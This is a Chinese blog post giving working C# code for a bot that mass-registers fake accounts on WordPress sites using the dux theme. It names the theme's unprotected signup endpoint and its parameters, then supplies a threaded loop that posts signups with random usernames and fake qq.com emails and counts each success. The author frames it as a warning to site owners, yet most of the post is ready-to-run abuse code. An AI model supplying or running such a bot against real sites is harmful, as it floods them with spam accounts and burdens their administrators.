WordPress网站批量注册账号C#实现代码
和群里诸位站长聊天时说到WordPress开放注册的问题，发现好多WordPress网站开放了注册，包括本站也开放了注册。虽然很多站看起来很高大上，注册弹窗漂亮异常。但是它们都没有对注册信息进行加密处理以及注册限制，留下了可以无限注册的接口。今天就用C#写一个简单的WordPress账号注册机，批量注册一个使用大前端主题dux的网站。大家不要学我，这个站长我认识，刷人家账号是不好的行为哟~
WordPress网站批量注册账号C#实现代码
首先是使用浏览器进行抓包，chrome内核浏览器可以F12直接抓包，IE需要安装httpwatch软件。具体抓包过程我就不教大家了，很简单，特别是这种没有加密处理的明文信息。下面是dux主题的注册接口：
请求方式：post
请求地址：域名/wp-content/themes/dux/action/log.php
请求参数：
- name（用户名）
- email（用户邮箱）
- action（请求类型，用以判断是否是注册请求），注册请求action 为signup
下面看看C#批量账号注册机的代码实现：
生成随机字母数字的方法，以便我们随机构造邮箱地址。
/// <summary>/// 生成随机字母与数字/// </summary>/// <param name="IntStr">生成长度</param>/// <returns></returns>public static string Str(int Length){ return Str(Length, false);}/// <summary>/// 生成随机字母与数字/// </summary>/// <param name="Length">生成长度</param>/// <param name="Sleep">是否要在生成前将当前线程阻止以避免重复</param>/// <returns></returns>public static string Str(int Length, bool Sleep){ if (Sleep) System.Threading.Thread.Sleep(3); char[] Pattern = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; string result = ""; int n = Pattern.Length; System.Random random = new Random(~unchecked((int)DateTime.Now.Ticks)); for (int i = 0; i < Length; i++) { int rnd = random.Next(0, n); result += Pattern[rnd]; } return result;}
然后是使用HttpWebRequest方法提交post请求，前面已经讲过了，不清楚看这里，C#从WebBrowser中取得Cookie 并在 HttpWebRequest中使用
public void threadres() { int i = 0; while (i < Convert.ToInt32(textBox4.Text)) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(textBox3.Text); //以下是发送的http头，随便加，其中referer挺重要的，有些网站会根据这个来反盗链 request.Referer = textBox2.Text; request.Accept = "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; request.Headers["Accept-Language"] = "zh-CN,zh;q=0."; request.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; request.UserAgent = "User-Agent:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1"; request.KeepAlive = true; //上面的http头看情况而定，但是下面俩必须加 request.ContentType = "application/x-www-form-urlencoded"; request.Method = "POST"; Encoding encoding = Encoding.UTF8;//根据网站的编码自定义 string postDataStr = "name=" + Str(10) + "&email=" + Str(10) + "@qq.com&action=signup"; byte[] postData = encoding.GetBytes(postDataStr); request.ContentLength = postData.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(postData, 0, postData.Length); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); //如果http头中接受gzip的话，这里就要判断是否为有压缩，有的话，直接解压缩即可 if (response.Headers["Content-Encoding"] != null && response.Headers["Content-Encoding"].ToLower().Contains("gzip")) { responseStream = new GZipStream(responseStream, CompressionMode.Decompress); } StreamReader streamReader = new StreamReader(responseStream, encoding); string retString = streamReader.ReadToEnd(); settext settx = new settext(updateui); Invoke(settx, retString); streamReader.Close(); responseStream.Close(); i++; System.Threading.Thread.Sleep(400); } }
因为是批量注册，为了不影响UI，使用了线程委托来实现。dux注册返回的是json，c#的json解析比较麻烦，我就不解析了，直接判断第10个字符是数字几就行了，0表示成功。
thread = new Thread(new ThreadStart(threadres)); thread.IsBackground = true; thread.Start();
用上面的代码启动线程即可。。。好像忘了个委托
public delegate void settext(String str);//定义一个用于更新UI的委托，需要传入一个字符串参数
委托ui处理方法
public void updateui(String str) { j++; if(str.Substring(9, 1).Equals("0")) { textBox1.Text = textBox1.Text + "\r\n "+j+" 注册成功"; } }
搞定，在程序界面填入注册接口地址即可，如果不成功，填入来源地址一般就OK了。这篇文章主要是为了提高诸位站长的运维意识，虽然刷账号没用，后台点几下鼠标就能把所有不合格账号全部删除，但….要提高自己。
